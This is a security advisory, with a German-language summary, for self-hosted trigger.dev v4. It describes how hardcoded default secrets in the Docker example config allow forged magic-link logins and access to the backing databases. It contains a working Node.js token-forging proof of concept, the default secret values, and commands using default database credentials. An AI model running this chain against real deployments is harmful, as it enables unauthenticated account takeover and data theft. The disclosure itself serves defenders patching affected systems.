NetSight
hoch8.1Noch keine CVE

GHSA-pqxw-g93w-hj9x

Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise

Auswirkung

## Summary Self-hosted trigger.dev v4 instances deployed using the provided Docker Compose configuration with default secrets from `hosting/docker/.env.example` are vulnerable to a multi-stage unauthenticated attack chain leading to complete infrastructure compromise. ## Vulnerability Details The `hosting/docker/.env.example` file contains hardcoded cryptographic secrets: ``` SESSION_SECRET=2818143646516f6fffd707b36f334bbb MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f ``` The `MAGIC_LINK_SECRET` is used by `remix-auth-email-link@2.0.2` to create authentication tokens via CryptoJS AES encryption. An attacker who knows this secret can forge valid magic links that authenticate as any email address without email delivery. The `validateSessionMagicLink` option defaults to `false` in the library (never overridden by trigger.dev), so no session-side validation occurs. User accounts are auto-created when `WHITELISTED_EMAILS` is not set (the default for self-hosted). ## Steps to Reproduce ### Setup ```bash cd hosting/docker && cp .env.example .env cd webapp && docker compose up -d cd ../worker && docker compose up -d ``` ### Step 1: Forge magic link token ```javascript const CryptoJS = require('crypto-js'); const secret = '44da78b7bbb0dfe709cf38931d25dcdd'; const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()}); const token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString()); console.log('https://target:8030/magic?token=' + token); ``` ### Step 2: Authenticate via forged magic link ```bash curl -v "http://localhost:8030/magic?token=" # Returns: HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=... # User auto-created, session cookie set, redirects to /orgs/new ``` ### Step 3: Verify database access from runner network ```bash docker run --rm --network webapp postgres:14 psql "postgresql://postgres:unsafe-postgres-pw@postgres:5432/main" -c "SELECT id, email FROM \"User\";" # Returns: cmph790qf0004tn55ec7lyq7a | attacker@evil.com ``` ### Step 4: Verify Redis access (no auth) ```bash docker run --rm --network webapp redis:7 redis-cli -h redis PING # Returns: PONG ``` ### Step 5: Verify ClickHouse access ```bash docker run --rm --network webapp curlimages/curl curl -s "http://default:password@clickhouse:8123/?query=SELECT%20version()" # Returns: 25.5.2.47 ``` ## Root Cause 1. Hardcoded secrets in `hosting/docker/.env.example` (lines 9-12) 2. Runner containers placed on infrastructure networks: `DOCKER_RUNNER_NETWORKS: webapp,supervisor` in `hosting/docker/worker/docker-compose.yml:42` 3. Default credentials on all infrastructure services 4. No Redis authentication 5. SESSION_SECRET reused for JWT signing (`apps/webapp/app/services/apiAuth.server.ts:616`) and impersonation tokens ## Impact Complete infrastructure compromise: all tenant data, API keys, encrypted secrets (decryptable with known ENCRYPTION_KEY), user accounts, cross-tenant access. Attacker can modify data, push backdoored Docker images to the registry, and manipulate job queues.

Ein Angreifer kann die Lücke über das Netzwerk ausnutzen, ohne Anmeldung, ohne Zutun eines Nutzers. Dafür müssen bestimmte Bedingungen erfüllt sein, was einen Angriff erschwert. Bei Erfolg: hohes Risiko, dass Daten ausgelesen werden, hohes Risiko, dass Daten oder Systeme verändert werden.

Betroffene Pakete

ÖkosystemPaketBetroffenBehoben in
npmtrigger.dev<= 4.5.54.5.6

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